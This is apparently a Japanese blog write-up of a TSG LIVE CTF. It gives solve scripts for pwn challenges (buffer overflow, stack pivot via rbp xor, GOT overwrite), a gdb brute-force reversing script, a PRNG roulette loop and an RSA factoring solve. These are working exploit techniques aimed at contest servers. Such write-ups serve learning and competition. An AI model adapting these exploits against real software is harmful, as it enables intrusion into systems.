本家yoshikingが参加していたのを横目に見ていたので、その様子をお届けします。
- [pwn 100pts] bpxover (15 solves)
- [pwn 200pts] bpxor (8 solves)
- [pwn 300pts] spmov (1 solve)
- [rev 400pts] DNS ROPOB (8 solves)
- [crypto 150pts] Roulette (7 solves)
- [crypto 250pts] Two Keys (5 solves)
- 総評
BOFです。
from ptrlib import * elf = ELF("./chall") sock = Socket("nc chall.live.ctf.tsg.ne.jp 30006") payload = b"A"*0x20 payload += p64(0x13371337) payload += p64(elf.symbol("win")) sock.sendlineafter(":)\n", payload)
rbpと任意の値をxorできる上、関数の終端にleave命令があるのでstack pivotします。
from ptrlib import * elf = ELF("./chall") sock = Socket("nc chall.live.ctf.tsg.ne.jp 30007") payload = str(0x60).encode() payload += b'\x00' * (8 - len(payload)) payload += p64(elf.symbol("win")) sock.sendlineafter(":)\n", payload) sock.sh()
rspに任意の値を代入できます。 知っているアドレスはプロセスの中だけなので、ひとまずbssあたりに向けるとどう頑張ってもprintfがスタックを消費しすぎて死にます。 printfまでにすべてを終わらせる必要があるので、GOTを書き換えることが分かります。 [email protected]+8にrspを向けると、関数呼び出しでリターンアドレスが[email protected]に入るので、rbpがrspに変化した状態で元の関数に戻れます。 つまり、rbpがGOT周辺を指しており、この後のreadでGOT overwriteできます。
from ptrlib import * import time elf = ELF("./chall") sock = Socket("nc chall.live.ctf.tsg.ne.jp 30010") fake_rsp = elf.got("rand") + 8 payload = str(fake_rsp) sock.sendafter("hello\n", payload) time.sleep(0.5) payload = p64(elf.symbol("win")) sock.send(payload) sock.sh()
まじめにバイナリを読むと、大量にある関数はどれもpushf
命令などを使って状態を保存・復元しており、1命令ずつ別々の関数にばらまかれていることが分かります。
objdumpからそれらのばらまかれた命令に「集まれ〜!」と呼びかけると、通常のプログラムっぽいアセンブリコードが出来上がります。
割と複雑そうな処理をしていたので、比較部分を見るとエンコードしたフラグと結果を比較するcmp
命令が2つありました。
各箇所にブレークポイントを設置すると、フラグの1バイトごとにどちらかにヒットすることが分かったので、ここで正しい結果になるように1文字ずつ総当りします。 (あー!詳解セキュリティコンテスト 〜CTFで学ぶ脆弱性攻略の技術〜のReversingの章でやったところだ〜!)
import gdb import string gdb.execute("set pagination off") gdb.execute("b *0x0000555555401804") gdb.execute("b *0x0000555555401311") flag = "" while True: for c in string.printable: print(c) with open("flag", "w") as f: f.write(flag + c) gdb.execute("r < flag") for i in flag: gdb.execute("continue") al = gdb.execute("p $al", to_string=True).strip().split("= ")[1] cl = gdb.execute("p $cl", to_string=True).strip().split("= ")[1] if al == cl: flag += c print("FLAG:", flag) break
これを回して放置していると、いつの間にかフラグが手に入っていました。
例年revをangrで解く人がいるそうなので、次回からはangrが停止するコードを入れてあげてください。
PRNGですが、何回か動かしていたら同じ数字しか出ないことがあったので、それを当てにいっていました。
from ptrlib import * while True: sock = Socket("nc chall.live.ctf.tsg.ne.jp 61234") sock.sendlineafter("> ", "1") sock.sendlineafter("> ", "0") v1 = int(sock.recvlineafter("Result: ")) sock.sendlineafter("> ", "1") sock.sendlineafter("> ", "0") v2 = int(sock.recvlineafter("Result: ")) sock.sendlineafter("> ", "1") sock.sendlineafter("> ", "0") v3 = int(sock.recvlineafter("Result: ")) if v1 == v2 == v3: print("HIT!", v1, v2, v3) break sock.close() sock.sh()
あとはヒットした数字でBETを最大にしてお金を増やせばフラグが手に入ります。
算数をすると、2次方程式に帰着します。この手の問題の作問は無限回してきたのですが、頭の中で式変形しながらコードを書いていたら、解の公式の分母に括弧を付け忘れて死亡しました。
from ptrlib import inverse import gmpy2 N1 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831 N2 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683 y1 = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340 y2 = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323 x = N2 - N1 for d1 in range(1, 2000): for d2 in range(1, 2000): v = x - d1*d2 try: q = (v + gmpy2.isqrt(v*v - 4*d2*d1*N1)) // (2*d1) if N1 % q == 0: p, q = q, N1//q phi1 = (p-1)*(q-1) phi2 = (p+d2-1)*(q+d1-1) d1 = inverse(0x10001, phi1) d2 = inverse(0x10001, phi2) m1 = pow(y1, d1, N1) m2 = pow(y2, d2, N2) print(int.to_bytes(int(m1), 22, "big")) print(int.to_bytes(int(m2), 22, "big")) exit() except Exception as e: continue
こういう問題作るのも解くのも簡単で、でも自明とは言われないので好きです。
すぐ終わるけど自明じゃないCTFなので世界一好きなCTFです。
他の問題に比べてpwnの数が少ないと感じたのは、私だけでしょうか? :考える人:
もう少しむずかしいのpwnをあと3問(400pts, 500pts, 600pts)くらい欲しかったです。(安全勝ちするという強い意志) Kernel Exploitとか2問くらい出してくれていいので :pray: